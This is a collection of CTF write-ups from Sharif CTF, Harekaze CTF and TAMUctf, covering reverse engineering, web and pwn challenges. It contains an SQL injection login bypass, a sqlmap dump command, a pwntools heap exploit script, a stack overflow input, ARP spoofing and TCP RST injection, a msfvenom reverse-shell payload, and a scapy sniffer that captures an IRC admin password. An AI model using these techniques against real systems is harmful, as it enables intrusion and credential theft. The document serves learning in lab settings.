https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/reverse-engineering/findme-250/assets/youdone.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/keygen-200/README.md: -------------------------------------------------------------------------------- 1 | Keygen 2 | ====== 3 | 4 | **Category:** Reverse Engineering, **Points:** 200 + 20, **Solves:** 14 **Our rank:** 2 5 | 6 | ``` 7 | Find the password if you can! 8 | ``` 9 | 10 | ### Write-up 11 | 12 | In this challenge we are provided with an PE32 [executable](findpass) for Windows. First I loaded the binary in [exeinfo](http://exeinfo.atwebpages.com/). 13 | 14 | ![alttext](exeinfo.png) 15 | 16 | As we can see the binary was probably written in C++. To verify this I ran `strings findpass | grep ios` 17 | ``` 18 | $ strings findpass | grep ios 19 | iostream 20 | iostream stream error 21 | ios_base::badbit set 22 | ios_base::failbit set 23 | ios_base::eofbit set 24 | .?AVios_base@std@@ 25 | .?AV?$basic_ios@DU?$char_traits@D@std@@@std@@ 26 | .?AVfailure@ios_base@std@@ 27 | ``` 28 | At this point I was sure that we have a C++ binary. Unfortunately the binary was stripped and statically linked with the C++ runtime - we need to separate the C++ runtime from the important bits. 29 | ``` 30 | $ wine ./findpass 31 | Enter Password Please: 32 | 1234567890 33 | 34 | $ strings findpass | grep "Enter Password" 35 | ``` 36 | The string `Enter Password` was not present in the binary -> the string must be generated dynamically. To find the function responsible for displaying this string I loaded the binary in `Ollydbg` and stepped over the called functions until I saw the string displayed in the console. Then I repeated the debugging from the inside of the found function. By doing so we discover that `sub_406240` is the `main` of the binary. This function contains a lot of unused code to obfuscate the important bits. By stepping over the functions in main() we discover that `sub_409930` displays the searched string and `sub_403320` decrypts the string just before calling `sub_409930`. There are 2 calls to `sub_409930` in the binary -> the second call is inside an if statement. By jumping directly to the body of this if statement the string `Well done,Flag is md5 of input string.` is displayed. By using this information I determined that this string is displayed only if an array at `.data_456414` contains 5 ones. By searching for xrefs to this array I found 5 functions which set the fields of this array to 1 - `sub_404800`, `sub_405100`, `sub_405390`, `sub_405970`, `sub_405FA0`. After giving the C++ functions appropriate names the important bits of the main of the binary can be written in pseudocode as: 37 | ```c++ 38 | bool pass_ok[5] = {false, false, false, false, false}; 39 | int main() //Simplified a lot a lot 40 | { 41 | std::string user_input; 42 | std::cout << "Enter Password Please:\n"; 43 | std::cin >> user_input; 44 | char* tab[5] = split_input_by_spaces(user_input); 45 | run_check(sub_404800, tab[0]); 46 | run_check(sub_405100, tab[1]); 47 | run_check(sub_405390, tab[4]); 48 | run_check(sub_405970, tab[2]); 49 | run_check(sub_405FA0, tab[3]); 50 | if(all_true(pass_ok)) 51 | { 52 | std::cout << "Well done,Flag is md5 of input string."; 53 | } 54 | } 55 | ``` 56 | Each of the functions passed to `run_check` in pseudocode does the following: 57 | ```c++ 58 | void check(char* chunk) //Simplified a lot a lot 59 | { 60 | if(compare(xor_cipher(hardcoded_key, chunk), hardcoded_values)) 61 | { 62 | pass_ok[check_id] = 1; 63 | } 64 | } 65 | ``` 66 | After reading off the hardcoded_key and hardcoded_values for each of the checks(stored in the binary as an std::string generated on the stack) and xoring them together we obtain the segments of the correct password. After concatenating them together in the right order we get `Flag: {HiBC NBG8L 965D LMSDF}`: 67 | ``` 68 | $ wine ./findpass 69 | Enter Password Please: 70 | Flag: {HiBC NBG8L 965D LMSDF} 71 | Well done,Flag is md5 of input string. 72 | $ echo -n "Flag: {HiBC NBG8L 965D LMSDF}" | md5sum 73 | 9a55042d8cba49ef460ac8872eff0902 74 | ``` 75 | So the flag is `SharifCTF{9a55042d8cba49ef460ac8872eff0902}` 76 | 77 | ###### By [gorbak25](https://github.com/grzegorz225) 78 | 79 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/keygen-200/exeinfo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/reverse-engineering/keygen-200/exeinfo.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/keygen-200/findpass: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/reverse-engineering/keygen-200/findpass -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/web/Hello-Rules-10/README.md: -------------------------------------------------------------------------------- 1 | Hello Rules 2 | === 3 | **Category:** Web, **Points:** 10, **Solves:** 651, **Our rank:** 6 4 | 5 | > Find the flag in rule page 6 | 7 | ### Write-up 8 | 9 | Just do exactly what the task says, go to a rule page, and at the bottom of the page we find this: 10 | 11 | 12 | Hello rules challenge 13 | 14 | The flag of this challenge is SharifCTF{MD5(lowercase(Hello_Rules))} 15 | 16 | 17 | So we just need to find MD5 of `hello_rules`, which gives us the flag `SharifCTF{053e3df6d82735fa4f708f3d61f2c903}`. 18 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/web/Hidden-Input-50/README.md: -------------------------------------------------------------------------------- 1 | Hidden Input 2 | ============ 3 | 4 | ## Task description 5 | Can you log in? 6 | 7 | ## Solution 8 | The challenge greets us with a login screen. 9 | 10 | ![](https://i.imgur.com/SW9KwbH.png) 11 | 12 | Upon inspecting the page source, a hidden input field `debug` with value `0` can be found. 13 | 14 | ![](https://i.imgur.com/XUM9SAW.png) 15 | 16 | After changing its value to `1` and submitting the form, the following debug output appears: 17 | 18 | ![](https://i.imgur.com/nmdKr4t.png) 19 | 20 | The username needed to bypass the authentication should therefore be `') OR 1=1 -- `. After inputting it as the username and submitting the form, the flag is found. 21 | 22 | ![](https://i.imgur.com/uGrn3aC.png) 23 | 24 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/web/The-News-Hacker-150/README.md: -------------------------------------------------------------------------------- 1 | The news hacker 2 | =============== 3 | 4 | ## Task description 5 | Only admin can see the flag :) 6 | Hint: Weak password! 7 | 8 | 9 | ## Initial analysis 10 | The site under the url provided in the challenge is a news blog. 11 | 12 | ![](https://i.imgur.com/5rFFoiW.png) 13 | 14 | Inspecting the source, we find out that the site is powered by Wordpress. 15 | 16 | ![](https://i.imgur.com/YmfvcXJ.png) 17 | 18 | Indeed, after trying to access `/wp-admin/`, we are redirected to the Wordpress login page. 19 | 20 | ![](https://i.imgur.com/WMrJj6z.png) 21 | 22 | ## Bypassing authentication 23 | The hint in the challenge description mentions a weak password, but sadly attemping to bruteforce the `admin` account yields no results. After checking the wordpress version and all of its plugins, several vulnerabilities are found, but all of them require to be authenticated. 24 | 25 | Perhaps there is another user that we could authenticate as? Let's fire up `wpscan` and find out. The wpscan command to enumerate users is `wpscan --url http://8082.ctf.certcc.ir/ --enumerate u`. This gets us the following results. 26 | 27 | ![](https://i.imgur.com/NGtaHx1.png) 28 | 29 | We found another user besides admin: `organizer`. After trying to log in with the most obvious password: `password`, we are successfully logged in. 30 | 31 | ![](https://i.imgur.com/HKqseL8.png) 32 | 33 | ## Exploiting outdated plugins 34 | After logging in and probing around, nothing of interest can be found in the admin panel. It looks like our user doesn't have access to anything worth using. However, we are now authenticated, so it should be possible to exploit one of the vulnerabilities in the outdated plugins. 35 | 36 | After trying a few of them out, only one seems to be working. It's in the Event List Plugin version 0.7.8: [exploit-db description](https://www.exploit-db.com/exploits/42173/). 37 | 38 | The `http://8082.ctf.certcc.ir/wp-admin/admin.php?page=el_admin_main&action=edit&id=1` gets us the event page. 39 | 40 | ![](https://i.imgur.com/KMw0cCy.png) 41 | 42 | But `http://8082.ctf.certcc.ir/wp-admin/admin.php?page=el_admin_main&action=edit&id=1 AND 1=2` does not. 43 | 44 | ![](https://i.imgur.com/g4uPToF.png) 45 | 46 | ## SQL Injection 47 | We have a confirmed SQL injection vulnerability, so let's sqlmap do the rest of the work. We are able to get the password hash for the `admin` user from the database, but attemps at cracking it don't yield any results. However, after looking at the wordpress posts table, the flag can be found in one of the posts. 48 | 49 | The sqlmap command to retrieve the posts table is as follows (the cookie is taken from the browser): 50 | 51 | ``` 52 | sqlmap -u "http://8082.ctf.certcc.ir/wp-admin/admin.php?page=el_admin_main&action=edit&id=1" -p id --cookie="wordpress_eb2a34d2fb7f6ae7debb807cd7821561=organizer%7C1518169483%7Cm59DKLrouqZJTsIQAa9RKgsYDQqLzyrUB854ah0ddKi%7Cdc6d61fcc29fe8bd1a6c334dbf2bbf6ea3e9e5683eed4d095883e8b650d2bf82" -D wp_blog -T wp_posts --columns --dump 53 | ``` 54 | 55 | After inspecting the resulting csv table dump, a following line is found: 56 | 57 | ``` 58 | 25,http://10.0.3.189/?p=25,,,2018-01-08 04:14:21,post,flag,0,Flag,private,0,open,1,Flag is SharifCTF{e7134abea7438e937b87608eab0d979c},,2018-01-08 04:14:21,2018-01-08 10:58:41,0,,,open,2018-01-08 10:58:41, 59 | ``` 60 | 61 | The line contains the flag: `SharifCTF{e7134abea7438e937b87608eab0d979c}`. 62 | 63 | -------------------------------------------------------------------------------- /2018-02-10-harekaze-ctf/pwn/flea-attack-200/README.md: -------------------------------------------------------------------------------- 1 | Flea Attack 2 | === 3 | 4 | **Category:** pwn, **Points:** 200, **Solves:** 41 5 | 6 | ``` 7 | nc problem.harekaze.com 20175 8 | 9 | file: flea_attack 10 | ``` 11 | 12 | ## Writeup 13 | 14 | Let's run the binary and check what is actually does: 15 | 16 | ``` 17 | $ ./flea_attack.elf 18 | Some comment this note:note 19 | 1. Add name 20 | 2. Delete name 21 | 3. Exit 22 | > 1 23 | Size: 10 24 | Name: name 25 | Done! 26 | Name: name 27 | 28 | Addr: 173a250 29 | 1. Add name 30 | 2. Delete name 31 | 3. Exit 32 | > 2 33 | Addr: 173a250 34 | Done! 35 | 1. Add name 36 | 2. Delete name 37 | 3. Exit 38 | > Invalid 39 | 1. Add name 40 | 2. Delete name 41 | 3. Exit 42 | > 3 43 | Bye. 44 | ``` 45 | 46 | Now, let's take a look at the code. The binary contains debugging symbols, 47 | so it is even easier to analyze: 48 | 49 | ```c 50 | int main() 51 | { 52 | struct _IO_FILE *v3; // rdi@1 53 | int v4; // [sp+38h] [bp-8h]@2 54 | 55 | setvbuf(stdin, 0LL, 2, 0LL); 56 | setvbuf(stdout, 0LL, 2, 0LL); 57 | v3 = stderr; 58 | setvbuf(stderr, 0LL, 2, 0LL); 59 | open_flag(v3, 0LL); 60 | printf("Some comment this note:"); 61 | gets_comment(); 62 | while ( 1 ) 63 | { 64 | show_menu(); 65 | printf("> "); 66 | v4 = gets_int(); 67 | switch ( v4 ) 68 | { 69 | case 1: 70 | add_name(); 71 | break; 72 | case 2: 73 | del_name(); 74 | break; 75 | case 3: 76 | puts("Bye."); 77 | exit(0); 78 | break; 79 | default: 80 | puts("Invalid"); 81 | break; 82 | } 83 | } 84 | } 85 | ``` 86 | 87 | There is an interesting function called `open_flag`: 88 | 89 | ```c 90 | char *open_flag() 91 | { 92 | FILE *stream; // [sp+18h] [bp-8h]@1 93 | 94 | stream = fopen("/home/flea_attack/flag", "r"); 95 | if ( !stream ) 96 | { 97 | puts("ERROR: Open Error"); 98 | exit(1); 99 | } 100 | return fgets((char *)&flag, 48, stream); 101 | } 102 | ``` 103 | 104 | It simply loads the flag to the memory. Exactly saying, to some global variable: 105 | ``` 106 | $ readelf --syms flea_attack.elf 107 | ... snip ... 108 | 36: 0000000000204000 128 OBJECT GLOBAL DEFAULT 25 comment 109 | ... snip ... 110 | 40: 0000000000204080 48 OBJECT GLOBAL DEFAULT 25 flag 111 | ``` 112 | 113 | After reading more code, we can see no sign of later usage of the flag. So, we 114 | need to leak it somehow. Let's take a look at the `add_name`: 115 | 116 | ```c 117 | int add_name() 118 | { 119 | int v0; // ST2C_4@1 120 | void *buf; // ST20_8@1 121 | 122 | printf("Size: "); 123 | v0 = gets_int(); 124 | buf = malloc(v0); 125 | printf("Name: "); 126 | read(0, buf, v0); 127 | puts("Done!"); 128 | printf("Name: %s\n", buf); 129 | return printf("Addr: %llx\n", buf); 130 | } 131 | ``` 132 | 133 | Do you see problem here? We malloc exactly `v0` bytes, then we read exactly `v0` 134 | bytes. But `read` doesn't append null byte. And then - we `printf` that buffer. 135 | Which means that we could possibly leak some memory that lies beyond our 136 | buffer... Wait, why does it work during normal usage? Heap is being zeroed, 137 | so it had null byte after our buffer. 138 | 139 | So, how about convincing `malloc` to return address pointing to some memory 140 | in front of our flag? That sounds like [fastbin dup attack](https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c). 141 | So, what do we need? 142 | * ability to `malloc` some data - *check*. 143 | * ability to `free` some data - `del_name` does exactly it - *check*. 144 | * control some memory right before the memory we want to leak - remember 145 | `comment` global variable in the listing before? - *check*. 146 | 147 | So, what we now need to do, is just following the steps from link above. 148 | 149 | Exploit code can be found [in the same directory](solve.py) as this document. 150 | Eventually, after running the script, we can get the flag: `HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}`. 151 | 152 | ###### By [mrowqa](https://github.com/Mrowqa) 153 | -------------------------------------------------------------------------------- /2018-02-10-harekaze-ctf/pwn/flea-attack-200/flea_attack.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-10-harekaze-ctf/pwn/flea-attack-200/flea_attack.elf -------------------------------------------------------------------------------- /2018-02-10-harekaze-ctf/pwn/flea-attack-200/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level = "DEBUG" 4 | 5 | COMMENT_ADDR = 0x204000 6 | FLAG_ADDR = 0x204080 7 | 8 | #p = process("./flea_attack.elf") 9 | p = remote("problem.harekaze.com", 20175) 10 | 11 | comment = "."*0x5e + "\x30" 12 | 13 | #import time; time.sleep(20) 14 | p.recvuntil(":") 15 | p.send(comment) 16 | 17 | def add_name(size, name): 18 | p.recvuntil("> ") 19 | p.send("1\n") 20 | p.recvuntil(": ") 21 | p.send(str(size) + '\n') 22 | p.recvuntil(": ") 23 | p.send(name + '\n') 24 | assert "Done!\n" == p.readline() # Done 25 | out = p.readline().split(":")[1] 26 | line = p.readline() # may be empty 27 | while not line.strip(): 28 | line = p.readline() # now it shouldn't be 29 | addr = int(line.split(":")[1], 16) 30 | return out, addr 31 | 32 | def del_name(addr): 33 | p.recvuntil("> ") 34 | p.send("2\n") 35 | p.recvuntil(": ") 36 | p.send(hex(addr)[2:] + '\n') 37 | p.readline() 38 | 39 | payload = p64(COMMENT_ADDR+0x60-8-2) 40 | 41 | size = 26 42 | o1, a1 = add_name(size, "1234567") 43 | o2, a2 = add_name(size, "1234567") 44 | o3, a3 = add_name(size, "1234567") 45 | print hex(a1), hex(a2), hex(a3) 46 | del_name(a1) 47 | del_name(a2) 48 | del_name(a1) 49 | o4, a4 = add_name(size, payload) # 1st 50 | assert a1 == a4 51 | add_name(size, "1234567") # 2nd 52 | add_name(size, "1234567") # 3nd 53 | o5, a5 = add_name(size, "."*size) # 4nd 54 | print "o5: '{}'\na5: {:x}".format(o5, a5) 55 | -------------------------------------------------------------------------------- /2018-02-10-harekaze-ctf/pwn/harekaze-farm-100/README.md: -------------------------------------------------------------------------------- 1 | Harekaze Farm 2 | === 3 | 4 | **Category:** pwn, **Points:** 100, **Solves:** 122 5 | 6 | ``` 7 | nc problem.harekaze.com 20328 8 | 9 | In Harekaze Farm, some animas is living. Let’s find them! 10 | 11 | file: harekaze_farm 12 | ``` 13 | 14 | ## Writeup 15 | 16 | Let's run the binary and check what is actually does: 17 | 18 | ``` 19 | $ ./harekaze_farm 20 | Welcome to Harekaze farm 21 | Input a name of your favorite animal: cow 22 | Input a name of your favorite animal: hen 23 | Input a name of your favorite animal: fox 24 | Begin to parade! 25 | cow: "moo" "moo" 26 | hen: "cluck" "cluck" 27 | ``` 28 | 29 | It just ask thrice for animal name and then prints what it does say. 30 | Expect for fox :( 31 | 32 | Now, let's take a look at the code. The binary contains debugging symbols, 33 | so it is even easier to analyze. Here's the second half of main function: 34 | 35 | ```c 36 | puts("Begin to parade!"); 37 | for ( j = 0; j <= 2; ++j ) 38 | { 39 | // sizeof(select_animals[0]) == 8 40 | if ( !strcmp((const char*) &select_animals[j], "cow") ) 41 | puts("cow: \"moo\" \"moo\""); 42 | if ( !strcmp((const char*) &select_animals[j], "sheep") ) 43 | puts("sheep: \"baa\" \"baa\""); 44 | if ( !strcmp((const char*) &select_animals[j], "goat") ) 45 | puts("goat: \"bleat\" \"bleat\""); 46 | if ( !strcmp((const char*) &select_animals[j], "hen") ) 47 | puts("hen: \"cluck\" \"cluck\""); 48 | if ( !strcmp((const char*) &select_animals[j], "isoroku") ) 49 | { 50 | puts("isoroku: \"flag is here\" \"flag is here\""); 51 | // loads and prints the flag 52 | } 53 | ``` 54 | 55 | So, we need to put `"isoroku"` into `select_animals` table. Let's read the first 56 | part of main: 57 | 58 | ```c 59 | char s1[8]; // [sp+20h] [bp-110h]@2 60 | __int64 v19; // [sp+28h] [bp-108h]@2 61 | 62 | puts("Welcome to Harekaze farm"); 63 | for ( i = 0; i <= 2; ++i ) 64 | { 65 | *(_QWORD *)s1 = 0LL; 66 | v19 = 0LL; 67 | printf("Input a name of your favorite animal: "); 68 | s1[__read_chk(0LL, s1, 16LL, 16LL) - 1] = 0; 69 | if ( !strcmp(s1, "cow") ) 70 | { 71 | v3 = (char *)&select_animals[i]; 72 | *(_QWORD *)v3 = *(_QWORD *)s1; 73 | *((_QWORD *)v3 + 1) = v19; 74 | } 75 | // same if for another animals; it lacks isoroku though 76 | ``` 77 | 78 | So, we read some bytes into `s1`, then `strcmp` it with predefined animal names. 79 | If there's a match, it saves its name to one cell of `select_animals` and 80 | puts zero in next cell. 81 | 82 | But wait... we read 16 bytes into `s1` which is `char[8]`! So we can overwrite 83 | something on stack. What does lie right after `s1`? `v19`. And if we take 84 | a look at the if branch, that's what we assume to be zero while zeroing next 85 | element. So we can write any animal name we want! 86 | 87 | So, that's how we can exploit it with echo: 88 | ``` 89 | $ echo -e 'cow\0....isoroku\0\n\n\n' | nc problem.harekaze.com 20328 90 | Welcome to Harekaze farm 91 | Input a name of your favorite animal: Input a name of your favorite animal: Input a name of your favorite animal: Begin to parade! 92 | cow: "moo" "moo" 93 | isoroku: "flag is here" "flag is here" 94 | HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF} 95 | ``` 96 | 97 | ###### By [mrowqa](https://github.com/Mrowqa) 98 | -------------------------------------------------------------------------------- /2018-02-10-harekaze-ctf/pwn/harekaze-farm-100/harekaze_farm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-10-harekaze-ctf/pwn/harekaze-farm-100/harekaze_farm -------------------------------------------------------------------------------- /2018-02-10-harekaze-ctf/rev/div-N-100/README.md: -------------------------------------------------------------------------------- 1 | div N 2 | === 3 | 4 | **Category:** Rev, **Points:** 100, **Solves:** 90 5 | 6 | ``` 7 | $ cat foo.c 8 | long long div(long long x) { 9 | return x / N; 10 | } 11 | $ gcc -DN=$N -c -O2 foo.c 12 | $ objdump -d foo.o 13 | 14 | foo.o: file format elf64-x86-64 15 | 16 | 17 | Disassembly of section .text: 18 | 19 | 0000000000000000 20 | : 21 | 0: 48 89 f8 mov %rdi,%rax 22 | 3: 48 ba 01 0d 1a 82 9a movabs $0x49ea309a821a0d01,%rdx 23 | a: 30 ea 49 24 | d: 48 c1 ff 3f sar $0x3f,%rdi 25 | 11: 48 f7 ea imul %rdx 26 | 14: 48 c1 fa 30 sar $0x30,%rdx 27 | 18: 48 89 d0 mov %rdx,%rax 28 | 1b: 48 29 f8 sub %rdi,%rax 29 | 1e: c3 retq 30 | $ echo “HarekazeCTF{$N}” > /dev/null 31 | ``` 32 | 33 | ## Writeup 34 | 35 | My first attempt was to use [z3](https://github.com/Z3Prover/z3), but z3 was 36 | unable to find the N. Another approach was to be smart and [try to analyze 37 | the compiler optimization](https://reverseengineering.stackexchange.com/questions/1397/how-can-i-reverse-optimized-integer-division-modulo-by-constant-operations). 38 | 39 | But, let's go another way. Notice one thing: `(N-1) / N = 0` and `N / N = 1`. 40 | So we can just use simple binary search. How? We know that compiled program 41 | is a 64 bit ELF and we are given the machine code encoded in hex. So let's just 42 | load it to executable memory and run it: 43 | 44 | ```c++ 45 | #include 46 | 47 | int main() { 48 | char function[] = {"\x48\x89\xf8\x48\xba\x01\x0d\x1a\x82\x9a\x30\xea\x49\x48\xc1\xff\x3f\x48\xf7\xea\x48\xc1\xfa\x30\x48\x89\xd0\x48\x29\xf8\xc3"}; 49 | long long (*foo_ptr)(long long) = (long long (*)(long long)) function; 50 | 51 | long long a = 0; 52 | long long b = 0x7FFFFFFFFFFFFFFF; 53 | 54 | while (b - a > 1) { 55 | long long mid = a / 2 + b / 2; // more or less; avoiding overflow 56 | if (foo_ptr(mid) >= 1) { 57 | b = mid; 58 | } 59 | else { 60 | a = mid; 61 | } 62 | } 63 | std::cout << a << "\n" << b << "\n"; 64 | } 65 | ``` 66 | 67 | So, let's compile it and run it: 68 | ``` 69 | $ g++ -z execstack -o x x.cpp 70 | $ ./x 71 | 974873638438445 72 | 974873638438446 73 | ``` 74 | Who does say that `-z execstack` is bad? :P And, BTW, you don't want to compile 75 | this code with any optimizations, since we are doing stuff we theoretically 76 | shouldn't do and compiler assumes that we are reasonable programmers :) 77 | 78 | So, finally, the flag is `HarekazeCTF{974873638438446}`. 79 | 80 | ###### By [mrowqa](https://github.com/Mrowqa) 81 | -------------------------------------------------------------------------------- /2019-03-03-tamuctf/network-pentest/altf4/README.md: -------------------------------------------------------------------------------- 1 | I loved the network challenges, and this was probably my favorite one. We were the second team to solve it. 2 | 3 | ``` 4 | Alt-F4 for Ops 5 | Did you know that Alt-F4 is the shortcut for ops in IRC? 6 | 7 | Difficulty: hard 8 | ``` 9 | 10 | Like with all other network challenges, we are given a VPN to connect to. The first thing I obviously did was to scan the network with nmap (the standard subnet for all challenges in this category was 172.30.0.0/28). Based on experience from previous challenges I expected to find an IRC server and at least one client talking to to it, but... 11 | 12 | ``` 13 | Nmap scan report for 172.30.0.1 14 | Host is up (0.20s latency). 15 | All 1000 scanned ports on 172.30.0.1 are closed 16 | 17 | Nmap scan report for 172.30.0.2 18 | Host is up (0.20s latency). 19 | All 1000 scanned ports on 172.30.0.2 are closed 20 | 21 | Nmap scan report for krzysh-laptop (172.30.0.14) 22 | Host is up (0.00012s latency). 23 | [this is my computer] 24 | 25 | Nmap done: 16 IP addresses (3 hosts up) scanned in 102.10 seconds 26 | ``` 27 | Wait, what? Where is the IRC server? And why do we suddenly have something on .1 on the network, that never happened before. 28 | 29 | Turns out, unlike all the other challenges, we are not dealing with simple LAN communication here, but rather something shaped more like traditional Internet, where 172.30.0.1 is the gateway to the rest of the network. I did an ARP spoof between the computer at .2 and the gateway at .1... 30 | 31 | ``` 32 | sudo arpspoof -i tap0 -r -t 172.30.0.2 172.30.0.1 33 | 34 | ``` 35 | ![image](https://user-images.githubusercontent.com/1517255/53304497-4f586400-3876-11e9-8b8d-7ef319f1e407.png) 36 | And there we go, some IRC communication with a server at 172.30.20.10! The obvious thing to try now is connecting to it using an IRC client like irssi (after setting up the routing to that network to go through the gateway on the VPN - `sudo route add -net 172.30.20.0/28 gw 172.30.0.1 dev tap0`), but... 37 | ``` 38 | 20:44 -!- Irssi: Looking up 172.30.20.10 39 | 20:44 -!- Irssi: Connecting to 172.30.20.10 [172.30.20.10] port 6667 40 | 20:44 -!- Irssi: Connection to 172.30.20.10 established 41 | 20:44 !irc.hades.naum *** Looking up your hostname 42 | 20:44 !irc.hades.naum *** Couldn't look up your hostname 43 | 20:44 -!- Password incorrect 44 | 20:44 -!- ERROR Closing Link: 172.30.0.14 (Bad Password) 45 | 20:44 -!- Irssi: Connection lost to 172.30.20.10 46 | ``` 47 | Of course, that would be too easy. What we need to do is somehow force the client to reconnect so that we can capture the PASS command used during initial phase of the connection. Since we are already intercepting in the middle of the communication, we can easily do that by forging a RST TCP packet to kill the connection. I used a scapy script from here to do that: https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2 48 | 49 | A few seconds after running this script, the client attempts to reconnect and we can grab the password command: `PASS underling`. I also noticed `JOIN #void`. So now, let's connect to the server and see what is going on in that channel. 50 | ![image](https://user-images.githubusercontent.com/1517255/53304498-52535480-3876-11e9-8834-8160be8e07d5.png) 51 | This looks like a botnet C&C server, and the file from the payload URL is an ELF binary, perhaps we could send our own one instead? But first, lets look at who is connected 52 | ``` 53 | 20:54 -!- #void krzys_h H 0 krzys_h@172.30.0.14 [krzys_h] 54 | 20:54 -!- #void imp63a3 H 0 imp@172.30.0.2 [imp63a3] 55 | 20:54 -!- #void impac66 H 0 imp@172.30.20.3 [impac66] 56 | 20:54 -!- #void lordbaal H*@ 0 eugene@172.30.20.2 [baal] 57 | 20:54 -!- End of /WHO list 58 | ``` 59 | We see two connected bots and *lordbaal* who seems to be the botnet owner. He is both channel operator (@) and server operator (*), so we are obviously going after him. Let's see some more info about him: 60 | ``` 61 | 20:59 -!- lordbaal [eugene@172.30.20.2] 62 | 20:59 -!- ircname : baal 63 | 20:59 -!- channels : @#sanctum @#void 64 | 20:59 -!- server : irc.hades.naum [Hades IRC server] 65 | 20:59 -!- : Dark Lord of Hades 66 | 20:59 -!- idle : 0 days 0 hours 0 mins 1 secs [signon: Sun Feb 24 20:25:41 2019] 67 | 20:59 -!- End of WHOIS 68 | ``` 69 | Oh, another channel! Join it, maybe? 70 | ``` 71 | 20:59 -!- #sanctum Cannot join channel (Only lords may enter the sanctum!) 72 | ``` 73 | Nah, the challenge wouldn't be classified as hard if it was that easy. Maybe we should "become a lord" by simply changing our username to be prefixed with "lord"? 74 | ``` 75 | 21:01 -!- lordkrzys Only the chosen may adopt the title of lord! 76 | ``` 77 | Okay, I'm out of easy tricks. Let's try to intercept lordbaal's connection somehow. The problem is, he is in another network and ARP spoofing works only on the LAN - but luckily, while we are in a different network, one of the bots (impac66) seems to be on the LAN with the admin! Let's try to hack him first by following the format of payload commands. 78 | ``` 79 | 21:04 < krzys_h> +impac66, payload http://172.30.0.14/my_reverse_shell_payload 80 | 21:04 < impac66> krzys_h, running... 81 | ``` 82 | where my_reverse_shell_payload was generated with `msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.30.0.14 LPORT=1234 -f elf` 83 | 84 | After we got a shell, we have to repeat the process of killing the connection and sniffing we did in the first part... but on a remote computer using a dumb netcat shell. There was no arpspoof installed, but luckily scapy was so we could use that. I used the script from https://medium.com/@ismailakkila/black-hat-python-arp-cache-poisoning-with-scapy-7cb1d8b9d242 for the ARP spoofing part, and the previous one for forging RST. At the end I appended something to dump all traffic after sending the RST packet into the terminal: 85 | ```python 86 | def on_packet(t): 87 | t.show() 88 | 89 | sniff(iface="eth0", count=1000, lfilter=lambda x: x.haslayer(TCP) and (x[IP].src == "172.30.20.2" or x[IP].dst == "172.30.20.2"), prn=on_packet) 90 | ``` 91 | By doing this, we can capture admin's login: 92 | ``` 93 | PASS suckitinnotech 94 | :irc.hades.naum NOTICE * :*** Looking up your hostname 95 | NICK baal 96 | :irc.hades.naum NOTICE * :*** Your hostname contains illegal characters, ignoring hostname 97 | USER eugene 0 * :baal 98 | :irc.hades.naum NOTICE baal :*** You are exempt from resvs 99 | :irc.hades.naum NOTICE baal :*** You are exempt from flood protection 100 | :irc.hades.naum 001 baal :Welcome to the hades Internet Relay Chat Network baal!eugene@172.30.20.2 101 | :irc.hades.naum 002 baal :Your host is irc.hades.naum[0.0.0.0/6667], running version hybrid-8.2.25 102 | :irc.hades.naum 003 baal :This server was created Feb 22 2019 at 13:14:44 103 | :irc.hades.naum 004 baal irc.hades.naum hybrid-8.2.25 DFGHRSWabcdefgijklnopqrsuwy bchiklmnoprstuveCILMNORST bkloveIh 104 | :irc.hades.naum 005 baal CALLERID CASEMAPPING=ascii DEAF=D KICKLEN=180 MODES=6 PREFIX=(ohv)@%+ STATUSMSG=@%+ EXCEPTS INVEX NICKLEN=9 NETWORK=hades MAXLIST=beI:100 MAXTARGETS=4 :are supported by this server 105 | :irc.hades.naum 005 baal CHANTYPES=# CHANLIMIT=#:25 CHANNELLEN=50 TOPICLEN=80 CHANMODES=beI,k,l,cimnprstuCLMNORST AWAYLEN=180 KNOCK ELIST=CMNTU SAFELIST WATCH=50 :are supported by this server 106 | :irc.hades.naum 251 baal :There are 3 users and 1 invisible on 1 servers 107 | :irc.hades.naum 254 baal 1 :channels formed 108 | :irc.hades.naum 255 baal :I have 4 clients and 0 servers 109 | :irc.hades.naum 265 baal :Current local users: 4 Max: 4 110 | :irc.hades.naum 266 baal :Current global users: 4 Max: 4 111 | :irc.hades.naum 250 baal :Highest connection count: 4 (4 clients) (26 connections received) 112 | :irc.hades.naum 375 baal :- irc.hades.naum Message of the Day - 113 | :irc.hades.naum 372 baal :- ,-. 114 | :irc.hades.naum 372 baal :- ___,---.__ /'|`\\ __,---,___ 115 | :irc.hades.naum 372 baal :- ,-' \\` `-.____,-' | `-.____,-' // `-. 116 | :irc.hades.naum 372 baal :- ,' | ~'\\ /`~ | `. 117 | :irc.hades.naum 372 baal :- / ___// `. ,' , , \\___ \\ 118 | :irc.hades.naum 372 baal :- | ,-' `-.__ _ | , __,-' `-. | 119 | :irc.hades.naum 372 baal :- | / /\\_ ` . | , _/\\ \\ | 120 | :irc.hades.naum 372 baal :- \\ | \\ \\`-.___ \\ | / ___,-'/ / | / 121 | :irc.hades.naum 372 baal :- \\ \\ | `._ `\\\\ | //' _,' | / / 122 | :irc.hades.naum 372 baal :- `-.\\ /' _ `---'' , . ``---' _ `\\ /,-' 123 | 